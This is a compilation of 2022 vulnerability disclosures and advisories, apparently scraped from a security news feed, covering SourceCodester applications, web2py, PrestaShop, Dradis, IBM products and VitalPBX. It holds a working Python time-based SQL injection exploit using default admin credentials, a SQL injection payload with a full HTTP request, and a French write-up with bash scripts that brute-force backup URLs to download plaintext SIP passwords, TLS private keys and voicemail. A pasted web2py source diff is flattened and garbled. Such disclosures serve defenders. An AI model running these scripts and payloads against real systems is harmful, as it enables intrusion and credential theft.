Coffee Shop Cashiering System version 1.0 suffers from a remote time-based SQL injection vulnerability.

    # Exploit Title: Coffee Shop Cashiering System - Authenticated Time Based Sql injection# Date: 27-06-2022# Exploit Author: syad# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/cscs.zip# Version: 1.0# Tested on: Windows 10 + XAMPP 3.2.4# CVE ID : N/A# Description # The id parameter does not perform input validation on the view_detail.php file it allow authenticated Time Based SQL Injection.import requestsimport syss = requests.session()proxies = {"https": "https://127.0.0.1:8080", "http": "http://127.0.0.1:8080"}def login_sql():    target = "http://%s/cscs/classes/Login.php?f=login" % sys.argv[1]    d = {        "username" : "admin",        "password" : "admin123"    }    r = s.post(target, data=d, allow_redirects=True, proxies=proxies)    res = r.text    if "success" in res:        return True    else:        return Falsedef detect_sql():    r = s.get("http://%s/cscs/admin/?page=sales/view_details&id=2'" % sys.argv[1])    res = r.text    if "You have an error in your SQL syntax;" in res:        print("[+] SQL Error Found !!")    else:        return Falsedef time_based_sql():    target = "http://%s/cscs/admin/?page=sales/view_details&id=2'+or+sleep(5)--+-" % sys.argv[1]    r = s.get(target, proxies=proxies)    print("[+] Time Based SQL Injection Executed !!!")def main():    if len(sys.argv) !=2:        print("(+) usage: %s <target>" % sys.argv[0] )        print("(+) eg: %s 192.168.121.103 " % sys.argv[0] )        sys.exit(-1)    if login_sql():        print("[+] Success Login")    detect_sql()    time_based_sql()if __name__ == "__main__":    main()

Coffee Shop Cashiering System 1.0 SQL Injection

Library Management System with QR Code version 1.0 suffers from a remote SQL injection vulnerability.

    #### Title: Library Management System with QR code Attendance 1.0 SQLInjection#### Author: Ashish Kumar (https://www.linkedin.com/in/ashish-kumar-0b65a3184)#### Date: 27.06.2022#### Vendor: https://www.sourcecodester.com/users/kingbhob02#### Software:https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html#### Version: 1.0#### Reference:https://github.com/CyberThoth/CVE/blob/main/CVE/Library%20Management%20System%20with%20QR%20code%20Attendance/Sql%20Injection/POC.md#### Description：##### The reason for the SQL injection vulnerability is that the websiteapplication does not verify the validity of the data submitted by the userto the server (type, length, business parameter validity, etc.), and doesnot effectively filter the data input by the user with special characters ,so that the user's input is directly brought into the database forexecution, which exceeds the expected result of the original design of theSQL statement, resulting in a SQL injection vulnerability.LibraryManagement System with QR code Attendance does not filter the contentcorrectly at the "bookdetails.php" id parameter, resulting in thegeneration of SQL injection.#### Payload used:`' AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)-- PbtB`#### POC1.  Login into the CMS.Admin Default Access:Username: adminPassword: admin2. http://localhost/LMS/librarian/bookdetails.php?id=1913. Put sleep(5) payload (`' AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)--PbtB`)4. `http://localhost:80/LMS/librarian/bookdetails.php?id=' AND (SELECT 9198FROM (SELECT(SLEEP(5)))iqZA)-- PbtB`5. code```GET/LMS/librarian/bookdetails.php?id=%27%20AND%20(SELECT%209198%20FROM%20(SELECT(SLEEP(5)))iqZA)--%20PbtBHTTP/1.1Host: localhostsec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pcoConnection: close```

Library Management System With QR Code 1.0 SQL Injection

A vulnerability was found in SourceCodester Library Management System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /librarian/bookdetails.php. The manipulation of the argument id with the input ' AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)-- PbtB leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

**Title: Library Management System with QR code Attendance 1.0 SQL Injection****Author: Ashish Kumar (https://www.linkedin.com/in/ashish-kumar-0b65a3184)****Date: 27.06.2022****Vendor: https://www.sourcecodester.com/users/kingbhob02****Software: https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html****Version: 1.0****Reference: https://github.com/CyberThoth/CVE/blob/main/CVE/Library%20Management%20System%20with%20QR%20code%20Attendance/Sql%20Injection/POC.md****Description：****The reason for the SQL injection vulnerability is that the website application does not verify the validity of the data submitted by the user to the server (type, length, business parameter validity, etc.), and does not effectively filter the data input by the user with special characters , so that the user's input is directly brought into the database for execution, which exceeds the expected result of the original design of the SQL statement, resulting in a SQL injection vulnerability.Library Management System with QR code Attendance does not filter the content correctly at the "bookdetails" id parameter, resulting in the generation of SQL injection.****Payload used:**

' AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)-- PbtB

**POC**

1.  Login into the CMS. Admin Default Access:

Username: admin

Password: admin

2.  http://localhost/LMS/librarian/bookdetails.php?id=191
    
3.  Put sleep(5) payload (' AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)-- PbtB)
    
4.  http://localhost:80/LMS/librarian/bookdetails.php?id=' AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)-- PbtB
    
5.  code
    

    GET /LMS/librarian/bookdetails.php?id=%27%20AND%20(SELECT%209198%20FROM%20(SELECT(SLEEP(5)))iqZA)--%20PbtB HTTP/1.1
    Host: localhost
    sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
    Cookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pco
    Connection: close
    

**line 111 of bookdetails.php invokes a SQL query built with input that comes from an untrusted source. This call could allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands**

CVE-2022-2214: CVE/POC.md at main · CyberThoth/CVE

Open redirect vulnerability in web2py versions prior to 2.22.5 allows a remote attacker to redirect a user to an arbitrary web site and conduct a phishing attack by having a user to access a specially crafted URL.

@@ -0,0 +1,228 @@ from gluon.dal import DAL from gluon.storage import Storage from gluon.utils import web2py\_uuid try: \# web3py from gluon.current import current from gluon.url import URL from gluon.helpers import \* except: \# web2py from gluon import current from gluon.html import \*  
  
  
def FormStyleDefault(table, vars, errors, readonly, deletable):  
form \= FORM(TABLE(),\_method\='POST',\_action\='#',\_enctype\='multipart/form-data') for field in table:  
input\_id \= '%s\_%s' % (field.tablename, field.name) value \= field.formatter(vars.get(field.name)) error \= errors.get(field.name) field\_class \= field.type.split()\[0\].replace(':','-')  
if field.type \== 'blob': \# never display blobs (mistake?) continue elif readonly or field.type\=='id': if not field.readable: continue else: control \= field.represent and field.represent(value) or value or '' elif not field.writable: continue elif field.widget: control \= field.widget(table, value) elif field.type \== 'text': control \= TEXTAREA(value or '', \_id\=input\_id,\_name\=field.name) elif field.type \== 'boolean': control \= INPUT(\_type\='checkbox', \_id\=input\_id, \_name\=field.name, \_value\='ON', \_checked \= value) elif field.type \== 'upload': control \= DIV(INPUT(\_type\='file', \_id\=input\_id, \_name\=field.name)) if value: control.append(A('download', \_href\=URL('default','download',args\=value))) control.append(INPUT(\_type\='checkbox',\_value\='ON', \_name\='\_delete\_'+field.name)) control.append('(check to remove)') elif hasattr(field.requires, 'options'): multiple \= field.type.startswith('list:') value \= value if isinstance(value, list) else \[value\] options \= \[OPTION(v,\_value\=k,\_selected\=(k in value)) for k,v in field.requires.options()\] control \= SELECT(\*options, \_id\=input\_id, \_name\=field.name, \_multiple\=multiple) else: field\_type \= 'password' if field.type \== 'password' else 'text' control \= INPUT(\_type\=field\_type, \_id\=input\_id, \_name\=field.name, \_value\=value, \_class\=field\_class)  
form\[0\].append(TR(TD(LABEL(field.label,\_for\=input\_id)), TD(control,DIV(error,\_class\='error') if error else ''), TD(field.comment or '')))  
td \= TD(INPUT(\_type\='submit',\_value\='Submit')) if deletable: td.append(INPUT(\_type\='checkbox',\_value\='ON',\_name\='\_delete')) td.append('(check to delete)') form\[0\].append(TR(TD(),td,TD())) return form  
\# ################################################################ \# Form object (replaced SQLFORM) \# ################################################################  
class Form(object): """ Usage in web2py controller: def index(): form = Form(db.thing, record=1) if form.accepted: ... elif form.errors: ... else: ... return dict(form=form) Arguments: \- table: a DAL table or a list of fields (equivalent to old SQLFORM.factory) \- record: a DAL record or record id \- readonly: set to True to make a readonly form \- deletable: set to False to disallow deletion of record \- formstyle: a function that renders the form using helpers (FormStyleDefault) \- dbio: set to False to prevent any DB write \- keepvalues: (NOT IMPLEMENTED) \- formname: the optional name of this form \- csrf: set to False to disable CRSF protection """  
def \_\_init\_\_(self, table, record\=None, readonly\=False, deletable\=True, formstyle\=FormStyleDefault, dbio\=True, keepvalues\=False, formname\=False, hidden\=None, csrf\=True):  
if isinstance(table, list): dbio \= False \# mimic a table from a list of fields without calling define\_table formname \= formname or 'none' for field in table: field.tablename \= getattr(field,'tablename',formname)  
if isinstance(record, (int, long, basestring)): record\_id \= int(str(record)) self.record \= table\[record\_id\] else: self.record \= record  
self.table \= table self.readonly \= readonly self.deletable \= deletable and not readonly and self.record self.formstyle \= formstyle self.dbio \= dbio self.keepvalues \= True if keepvalues or self.record else False self.csrf \= csrf self.vars \= Storage() self.errors \= Storage() self.submitted \= False self.deleted \= False self.accepted \= False self.cached\_helper \= False self.formname \= formname or table.\_tablename self.hidden \= hidden self.formkey \= None  
request \= current.request  
if readonly or request.method\=='GET': if self.record: self.vars \= self.record else: post\_vars \= request.post\_vars print post\_vars self.submitted \= True \# check for CSRF if csrf and self.formname in (current.session.\_formkeys or {}): self.formkey \= current.session.\_formkeys\[self.formname\] \# validate fields if not csrf or post\_vars.\_formkey \== self.formkey: if not post\_vars.\_delete: for field in self.table: if field.writable: value \= post\_vars.get(field.name) \# FIX THIS deal with set\_self\_id before validate (value, error) \= field.validate(value) if field.type \== 'upload': delete \= post\_vars.get('\_delete\_'+field.name) if value is not None and hasattr(value,'file'): value \= field.store(value.file, value.filename, field.uploadfolder) elif self.record and not delete: value \= self.record.get(field.name) else: value \= None self.vars\[field.name\] \= value if error: self.errors\[field.name\] \= error if self.record: self.vars.id \= self.record.id if not self.errors: self.accepted \= True if dbio: self.update\_or\_insert() elif dbio: self.deleted \= True self.record.delete\_record() \# store key for future CSRF if csrf: session \= current.session if not session.\_formkeys: session.\_formkeys \= {} if self.formname not in current.session.\_formkeys: session.\_formkeys\[self.formname\] \= web2py\_uuid() self.formkey \= session.\_formkeys\[self.formname\]  
def update\_or\_insert(self): if self.record: self.record.update\_record(\*\*self.vars) else: \# warning, should we really insert if record self.vars.id \= self.table.insert(\*\*self.vars)  
def clear(): self.vars.clear() self.errors.clear() for field in self.table: self.vars\[field.name\] \= field.default  
def helper(self): if not self.cached\_helper: cached\_helper \= self.formstyle(self.table, self.vars, self.errors, self.readonly, self.deletable) if self.csrf: cached\_helper.append(INPUT(\_type\='hidden',\_name\='\_formkey', \_value\=self.formkey)) for key in self.hidden or {}: cached\_helper.append(INPUT(\_type\='hidden',\_name\=key, \_value\=self.hidden\[key\])) self.cached\_helper \= cached\_helper return cached\_helper  
def xml(self): return self.helper().xml()  
def \_\_unicode\_\_(self): return self.xml()  
def \_\_str\_\_(self): return self.xml().encode('utf8')

CVE-2022-33146: improved open redirect prevention · web2py/web2py@d980560

### Impact
An authenticated customer can perform SQL injection

### Patches
Issue is fixed in 2.1.1


**SQL Injection in BlockWishList**

High severity GitHub Reviewed Published Jun 25, 2022 in PrestaShop/blockwishlist • Updated Jun 25, 2022

GHSA-2jx3-5j9v-prpp: SQL Injection in BlockWishList

RG-EG series gateway EG350 EG_RGOS 11.1(6) was discovered to contain a SQL injection vulnerability via the function get_alarmAction at /alarm_pi/alarmService.php.

CVE-2022-33128

Dradis Professional Edition before 4.3.0 allows attackers to change an account password via reusing a password reset token.

This page lists all security vulnerabilities fixed in released versions of **Dradis**. Each vulnerability is given a security impact rating by the Dradis core team - please note that this rating may vary from platform to platform. We also list the versions of **Dradis** the flaw is known to affect, and where a flaw has not been verified list the version with a question mark.

Please send comments or corrections for these vulnerabilities to: **security\[ {at} \]dradisframework{ \[dot\] }org**

**Fixed in Dradis 4.3.0****Low: Password reset token can be reused in a 5-minute window**

The password reset token can be reused in a 5-minute window.

Affects: Pro: 4.2.0 and possibly older versions of Dradis.

Credit: Goktug Serez

**Fixed in Dradis 4.2.0****low: Authenticated author broken access control: read access to screenshots**

An author can access screenshots from another project.

Affects: CE: 4.1.0, Pro: 4.1.2 and possibly older versions of Dradis.

**Fixed in Dradis 4.1.2****high: Authenticated (author) path traversal vulnerability**

An author can gain authorized access.

Affects: CE: 4.1.0, Pro: 4.1.1 and possibly older versions of Dradis.

Credit: Kristian Varnai

**Fixed in Dradis 4.1.0****medium: Authenticated (author) broken access control: read access to issue content**

An author can read issue content when they are not authorized to access it.

Affects: CE: 4.0.0, Pro: 4.0.0 and possibly older versions of Dradis.

Credit: Kristian Varnai

**Fixed in Dradis 4.0.0****medium: Authenticated (contributor) information disclosure**

After a contributor had been assigned Gateway access to a project by an admin user they may retain access to the project after the projects team has been changed.

Affects: Pro: 3.12.2 and possibly older versions of Dradis when using the Gateway addon.

**Fixed in Dradis 3.11****medium: Authenticated (admin) persistent cross-site scripting**

Insufficient validation around custom fields resulted in arbitrary JavaScript code execution.

Affects: CE: 3.15, Pro: 3.5.0 and possibly older versions of Dradis.

Credit: Michelle Flanagan

**Fixed in Dradis 3.10.1****medium: Authenticated (author) persistent cross-site scripting**

Insufficient validation around avatars resulted in arbitrary JavaScript code execution.

Affects: CE: 3.15, Pro: 3.5.0 and possibly older versions of Dradis.

**Fixed in Dradis 3.9.1****high: Authenticated (author) information disclosure**

An author who is disabled by admins may continue to use the API.

Affects: Pro: 3.5.1 and possibly older versions of Dradis.

**Fixed in Dradis 3.7.0****medium: Authenticated persistent cross-site scripting**

Insufficient output encoding around Comment textareas input resulted in arbitrary JavaScript code execution.

Affects: CE: 3.16, Pro: 3.6.0 and possibly older versions of Dradis.

Credit: Erik Cabetas

**low: Authenticated (admin) persistent cross-site scripting**

Insufficient output encoding around the Methodology templates resulted in arbitrary JavaScript code execution.

Affects: Pro 3.6.0 and possibly older versions of Dradis.

**Fixed in Dradis 3.6.0****high: Authenticated (author) information disclosure**

An author with an active session who is disabled by admins may continue to operate within the application

Affects: Pro 3.5.1 and possibly older versions of Dradis.

**medium: Authenticated (admin) data modification**

An admin can update another user's comment by sending a custom request.

Affects: Pro 3.5.0 and possibly older versions of Dradis.

Credit: Security Compass

**Fixed in Dradis 3.5.0****high: Authenticated (author) information disclosure**

An author without permission on a project may obtain info from that project using the API.

Affects: Pro 3.4.1 and possibly older versions of Dradis.

Credit: Bastian Faure & Florian Nivette

**medium: Authenticated (author) information disclosure**

Mentioning a user in a comment, which does not have access to the project, could result in disclosure of content from future comments in the same thread.

Affects: Pro 3.4.1 and possibly older versions of Dradis.

**Fixed in Dradis 3.4.1****high: Authenticated (author) path traversal vulnerability**

Uploading a malicious zip file it is possible to place files in undesired locations on the filesystem.

Affects: CE 3.14, Pro 3.4 and possibly older versions of Dradis.

Credit: Props go to Emil Sågfors.

**medium: Authenticated (author) information disclosure**

Information from other projects could be disclosed to other users in the system that happened to be using the application concurrently.

Affects: CE 3.14, Pro 3.4 and possibly older versions of Dradis.

**low: Authenticated (admin) SQL Injection**

A SQL injection vector exploitable by administrator accounts only was identified affecting the Contributors module.

Affects: Pro: 3.4 to 3.2.

**Fixed in Dradis 3.2.0****medium: Authenticated persistent cross-site scripting**

Insufficient output encoding around Evidence title resulted in arbitrary JavaScript code execution.

Affects: CE: 3.11, Pro: 3.1.2 and possibly older versions of Dradis.

Credit: Props go to an anonymous Dradis user.

**medium: Authenticated persistent cross-site scripting**

Inline display of some attachments resulted in arbitrary JavaScript code execution.

Affects: CE: 3.11, Pro: 3.1.2 and possibly older versions of Dradis.

Credit: Props go to an anonymous Dradis user.

**Fixed in Dradis 3.11.1****medium: Authenticated persistent cross-site scripting**

Insufficient output encoding around the Textile textarea input resulted in arbitrary JavaScript code execution.

Affects: CE: 3.11, Pro: 3.1.1 and possibly older versions of Dradis.

Credit: Props go to Ohji Kashiwazaki and Sabina Rzeźwicka.

CVE-2019-5925

**Fixed in Dradis 3.10.0****medium: Authenticated persistent cross-site scripting**

Insufficient output encoding around the Textile textarea input resulted in arbitrary JavaScript code execution.

Affects: CE: 3.9, Pro: 2.9 and possibly older versions of Dradis.

Credit: Props go to Robert Diepeveen

**Fixed in Dradis 3.6.0****medium: Authenticated persistent cross-site scripting**

Insufficient output encoding around the revision history module resulted in arbitrary JavaScript code execution.

Affects: CE: 3.x, Pro: 2.X and possibly older versions of Dradis.

Credit: Props go to Marly Wilson

**Fixed in Dradis 3.1.0.rc2****medium: Authenticated persistent cross-site scripting**

Insufficient output encoding around the node labels resulted in arbitrary JavaScript code execution.

Affects: 3.1.0.rc1 and possibly older versions of Dradis.

Credit: Props go to Mahmoud Reda

**Fixed in Dradis 2.5.2****high: Unauthenticated reflected cross-site scripting**

Insufficient output encoding could result in arbitrary JavaScript code being executed if a specially crafted file was uploaded by an authenticated user.

Affects: 2.5.1, 2.5.0 and possibly older versions of Dradis.

Credit: Props go to Russ McRee for identifying this issue.

CVE not assigned yet

**Fixed in Dradis 2.0.1****high: Missing authentication**

The authentication filter was found to be missing in two components of the server module (notes and configuration).

This was fixed in revision 598

Affects: 2.0.0

CVE-2009-0670 (candidate)

CVE-2022-30028: Security Reports | Dradis Framework

IBM Db2 for Linux, UNIX and Windows 9.7, 10.1, 10.5, 11.1, and 11.5 is vulnerable to a denial of service as the server may terminate abnormally when executing specially crafted SQL statements by an authenticated user. IBM X-Force ID: 2219740.

CVE-2022-22389: IBM Db2 denial of service CVE-2022-22389 Vulnerability Report

IBM Cognos Analytics 11.1.7, 11.2.0, and 11.2.1 could allow a low level user to obtain sensitive information from the details of the 'Cloud Storage' page for which they should not have access. IBM X-Force ID: 202682.

CVE-2021-29768: Security Bulletin: IBM Cognos Analytics has addressed multiple vulnerabilities

Missing access control in the backup system of Telesoft VitalPBX before 3.2.1 allows attackers to access the PJSIP and SIP extension credentials, cryptographic keys and voicemails files via unspecified vectors.

Alors que nous jouions avec configurions notre VitalPBX tranquillement, nous avons découvert une vulnérabilité relativement facile à mettre en œuvre et donnant accès à des données qu’on ne devrait pas pouvoir lire librement (_i.e._ les mot de passe des extensions, mais pas que). Voici comment elle fonctionne... et pourquoi vous devriez mettre votre version à jours.

Inutile pour une famille, donc indispensable pour une famille geek, nous avons un IPBX à la maison. Parmi les nombreux logiciels sur le marché, nous avons installé un VitalPBX dans une machine virtuelle connectée au reste de notre réseau et qui fait le lien entre nos téléphones IP (des IP-8815) et nos lignes externes analogiques (via une passerelle HX4G connectée aux boxes des FAI).

Au fil de nos aventures dans ce monde merveilleux de la VoIP, nous avons expérimenté plein d’astuces qui nous permettent d’avoir, @home, toutes les fonctionnalités qu’on attend d’un système téléphonique d’entreprise (ou d’hôtel) : groupe de sonnerie, messagerie vocale et test de turing (pour éviter les robots d’appel)...

© Rodrigo SalomonHC @ pixabay

Dernière en date : la sauvegarde (parce que les sauvegardes, c’est important). C’est vrai que vu notre infrastructure, ce serveur est rapide à installer et les rares données qu’il contient peuvent être perdues, on aurait donc pu faire l’impasse. Le truc, c’est qu’en tant qu’experts judiciaire, on ne se voit pas intervenir pour des juges et des entreprises sans savoir de quoi on parle (et aussi parce qu’au fond, configurer des serveurs, on aime ça).

Et c’est justement en cherchant à configurer le système de sauvegarde, ou plutôt à l’automatiser, que nous avons découvert cette vulnérabilité...

Les fichiers de sauvegardes étaient accessibles via l’interface web sans aucune restriction et donnent accès, en clair, aux mots de passe aux clés cryptographiques et aux boites vocales (entre autre). Heureusement, c’est corrigé depuis le 4 mai (version 3.2.1) donc mettez votre système à jours.

**La sauvegarde chez VitalPBX**

La configuration des sauvegardes de VitalPBX se fait via l’interface d’administration web. Une fois connecté, vous devez vous rendre dans « admin / Tools / Backup & Restore ». Le formulaire présenté par défaut permet de créer un nouveau profil de sauvegarde, avec au minimum, un nom.

Créer un profil de sauvegarde

Une fois vos profils de sauvegarde créés, vous pouvez les lister via l’icone de menu () puis y accéder en cliquant sur leur nom. Le nouvel écran reprend le formulaire de configuration et ajoute la liste des sauvegardes déjà effectuée (dans la limite configurée plus haut), vous permet d’en restauter une (bouton  à droite dans la ligne correspondante) et de créer de nouveaux points de sauvegarde (bouton  en bas à gauche de l’écran).

Détail d’un profil de sauvegarde

Si vous voulez faire des sauvegardes automatiquement, il faut d’abord ajouter un profile de tâche automatique (via le menu « PBX / Tools / cron profiles ») car tant qu’il n’y en a pas, le champ _Run automatically_ ne poropose que la valeure disabled).

**Vulnérabilités des fichiers de sauvegardes**

Comme vous l’aviez peut être vu, l’interface web propose aussi un bouton  pour télécharger un point de sauvegarde. En cliquant dessus, vous obtiendrez alors une archive au format tar que vous pourriez sauvegarder de votre côté. Ce n’est pas évident parce qu’il nous cache les détails (il est opaque) mais ce bouton ne fait que rediriger votre navigateur vers l’adresse du fichier qui pourrait ressembler à ce qui suit :

    https://monipbx.monreseau.lan/static/backup/c4ca4238a0b923820dcc509a6f75849b/vitalpbx-1650260415.tar

Ça n’a l’air de rien vu comme ça mais en vérifiant les détails, vous allez voir que ça va poser problème.

**Téléchargement sans contrôle d’accès**

La configuration du serveur web se trouve, comme toujours sur les _Red Hat_, dans /etc/httpd/conf.d/ et plus particulièrement, le fichier vitalpbx.conf. On y trouve la configuration des vhosts (serveurs web virtuels) utilisés par vitalpbx, dont celui de l’interface d’administration web qui nous intéresse et dont voici un extrait :

    <VirtualHost *:443>
            ...
            <Directory "/var/lib/vitalpbx/static">
                    Require all granted
            </Directory>
            Alias /static "/var/lib/vitalpbx/static"
            ...
    </VirtualHost>

Si on le lit du bas en haut, on apprend que le préfixe /static dans l’adresse est en fait un alias qui correspond au répertoire /var/lib/vitalpbx/static. Puis (ou plutôt _avant_) que ce répertoire est en libre accès (Require all granted). Aucun code PHP, aucune ligne de configuration ou fichier .htaccess ne viendra tempérer cette absence de contrôle d’accès.

Si on connait l’adresse d’un fichier, on peut y accéder sans contrainte.

Seule consolation, le serveur ne permet pas de lister les fichiers dans un répertoire ; si vous accédez à https://monipbx.monreseau.lan/static/backup/, le système vous retournera une erreur _403 - Forbidden_ (vous n’avez pas le droit de voir le contenu du répertoire).

**Adresse déterministe**

Il faut donc deviner le reste de l’adresse des fichiers de sauvegarde...

    c4ca4238a0b923820dcc509a6f75849b/vitalpbx-1650260415.tar

*   **c4ca4238a0b923820dcc509a6f75849b**, est facile à trouver, il suffirait de la coller dans n’importe quel moteur de recherche pour découvrir qu’il s’agit du MD5 de la chaîne « 1 » (l’identifiant du profil de sauvegarde). En faisant le test avec de nouveaux profiles on obtiens, à chaque fois, le MD5 de leur identifiant, c81e728d9d4c2f636f067f89cc14862c pour 2, puis eccbc87e4b5ce2fe28308fd9f2a7baf3 pour 3, et ainsi de suite.
    
*   **1650260415** est plus subtile (les moteurs de recherche ne vous aideront pas) mais ce n’est que le timestamp du fichier ; soit le nombre de secondes écoulées depuis le 1^er^ janvier 1970 lorsque le fichier a été écrit sur le disque...
    

Tout ce qu’il faut, c’est trouver un identifiant de profil et un timestamp valide, deux informations dont les valeurs suivent des suites toutes simples.

On peut énumérer les profiles (nombres entiers consécutifs) et les timestamps (à rebours à partir de _maintenant_) jusqu’à trouver un fichier de sauvegarde.

**L’exploitation**

Plutôt que tester ces possibilités à la main, on peut automatiser tout ça. Voici une solution en bash 😉. Pour faire court, on teste tous les timestamps sur les dernières 24 heures, pour les 10 premiers profiles. Et on quitte le script dès que curl a trouvé quelque chose.

    #!/bin/bash
    
    now=$(date +%s)
    past=$(date -d "1 day ago" +%s)
    
    for profile in $(seq 1 10) ; do
        md5=$(echo -n $profile | md5sum | sed -e "s/ .*//")
    
        curl -sk "https://localhost/static/backup/$md5/" -o /dev/null -w "%{http_code}" | grep -q "404" && continue
    
        for timestamp in $(seq $now -1 $past) ; do
            curl -fJOsk "https://monipbx.monreseau.lan/static/backup/$md5/vitalpbx-$timestamp.tar" && exit 1
        done
    done

Si vous êtes pressé, on peut accélérer tout ça avec un peu de parallélisme sur les appels à curl. Pour ça, on va modifier la boucle intérieure et directement passer le résultat de seq à xargs.

        export md5=$(echo -n $profile | md5sum | sed -e "s/ .*//")
        ...
        seq $now -1 $past | xargs -P 10 -I % bash -c \
            'curl -fJOsk "https://localhost/static/backup/$md5/vitalpbx-%.tar" && exit 255' \
            || exit 1

**Impact**

Le fichier de sauvegarde est une archive tar contenant d’autres archives (gz et tar.gz). Et parmi tout ce qui est sauvegardé, quelques éléments sont particulièrement intéressant...

*   **asterisk.sql.gz** contient, entre autre, la configuration de certaines extensions PJSIP et leurs identifiants (logins et mots de passe en clair),
*   **dialplan.tar.gz** contient, entre autre, la configuration des extensions SIP (dans sip__50-1-extensions.conf) et PJSIP (dans pjsip__50-1-extensions.conf), dont les identifiants (logins et mots de passe en clair),
*   **certificates.tar.gz** contient les certificats TLS ainsi que leur clé privée correspondante,
*   **voicemail.tar.gz**, comme son nom l’indique, contient les boites vocales, c’est à dire les messages audio que les correspondants ont laissé.

Donc, si quelqu’un a la main sur votre fichier de sauvegarde, il peut :

*   **Usurper les extensions** auprès du serveur de VoIP, et lire les messages vocaux laissés par les correspondants,
*   **Usurper le serveur** de configuration (_e.g._ avec un proxy HTTPS) et ensuite récupérer les mots de passe des administrateurs.

Et une fois qu'on a le mot de passe de l'administrateur, on peut tout faire.

**Correction**

_Telesoft S.A_ a corrigé cette vulnérabilité dans la version 3.2.1, une fois mis à jours, votre serveur n’est donc plus vulnérable à cette attaque 🎉.

Dans le détail, les fichiers de sauvegardes ne sont plus accessible directement (ils sont déplacés dans /var/lib/vitalpbx/backup, en dehors des répertoires accessibles par apache) et nécessitent donc passer par l’interface utilisateur en PHP qui fait les vérifications d’authentification.

Pour savoir si votre installation a été victime de cette attaque, vous pouvez regarder les journaux du serveur web. Ils se trouvent dans /var/log/httpd, une recherche sur /static/backup vous dira si des accès ont eu lieu. Si vous constatez des accès, et si vous voulez rester prudent, changez vos clés TLS et les mots de passe (extensions et pour être prudent, utilisateurs).

**Historique de publication**

*   **Découverte de la vulnérabilité :** 1er avril 2022,
*   **Communication à l’éditeur :** 1er avril 2022,
*   **Correctif de sécurité :** 4 mai 2022 (version 3.2.1 R1).

Tag

#sql